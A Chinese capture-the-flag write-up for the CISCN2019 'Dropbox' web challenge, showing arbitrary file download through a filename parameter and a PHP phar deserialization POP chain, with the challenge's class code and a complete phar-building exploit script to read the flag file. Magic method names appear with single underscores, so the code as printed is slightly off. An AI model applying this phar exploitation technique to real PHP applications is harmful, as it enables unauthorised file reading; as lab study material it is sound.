BUUCTF--[CISCN2019 华北赛区 Day1 Web1]Dropbox

注册登陆

发现这里可以上传文件,并且可以下载/删除
 

下载文件时抓包,看到可控参数filename

尝试任意下载文件,可以读取passwd
 

 读取源码,同样方法读取download.php、delete.php、login.php和class.php(delete.php代码中可知)

在class.php中可以利用file_get_contents实现任意文件读取

 由于这里并没有触发点unserialize(),配合 phar://伪协议,我们可以使用不依赖反序列化函数 unserialize() 直接进行反序列化的操作。

文件读取的链很好构造,但是这里我们还需要输出

FileList的_call()方法语义,就是遍历files数组,对每一个file变量执行一次$func,然后将结果存进$results数组,接下来的_destruct函数会将FileList对象的funcs变量和results数组中的内容以HTML表格的形式输出在index.php上(我们可以知道,index.php里创建了一个FileList对象,在脚本执行完毕后触发_destruct,则会输出该用户目录下的文件信息)

public function _call($func, $args) {
       array_push($this->funcs, $func);
       foreach ($this->files as $file) {
           $this->results[$file->name()][$func] = $file->$func();
       }
   }

   public function _destruct() {
       $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
       $table .= '<thead><tr>';
       foreach ($this->funcs as $func) {
           $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
       }
       $table .= '<th scope="col" class="text-center">Opt</th>';
       $table .= '</thead><tbody>';
       foreach ($this->results as $filename => $result) {
           $table .= '<tr>';
           foreach ($result as $func => $value) {
               $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
           }
           $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">ä¸è½½</a> / <a href="#" class="delete">å é¤</a></td>';
           $table .= '</tr>';
       }
       echo $table;
   }

此时我们又看到了User类的_destruct()方法;

 public function _destruct() {
        $this->db->close();
    }
// 令new user中的db为new Filelist也就是说如果db=FileList类的实例,就变成了FileList->close();

当执行FileList->close()时,因为FileList类中没有close()这个方法所以调用FileList->_call()从而遍历全文件找close()方法(这是因为_call()函数的语义)找到了File->close()就执行了读取文件内容的操作file_get_contents($filename)并给他的结果返回FileList->$results,最后FileList->_destruct()方法输出了这个结果,我们即可以通过这个思路拿到flag。

POP链:

User->_destruct => FileList->close() => FileList->_call('close') => File->close('/flag.txt') => $results=file_get_contents('flag.txt') => FileList->_destruct() => echo $result

 Phar文件生成:

<?php
class User {
    public $db;
}
class File {
    public $filename;
}
class FileList {
    private $files;
    public function _construct() {
        $file = new File();
        $file->filename = "/flag.txt";
        $this->files = array($file);
    }
}

$a = new User();
$a->db = new FileList();

$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$o = new User();
$o->db = new FileList();

$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

由于download.php中限制访问目录,flag没在所给目录中,所以要利用delete.php

 参考文章:
[CISCN2019 华北赛区 Day1 Web1]Dropbox复现 - TJ_WaTer - 博客园
[CISCN2019 华北赛区 Day1 Web1]Dropbox | 信安小蚂蚁
php反序列化拓展攻击详解--phar

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值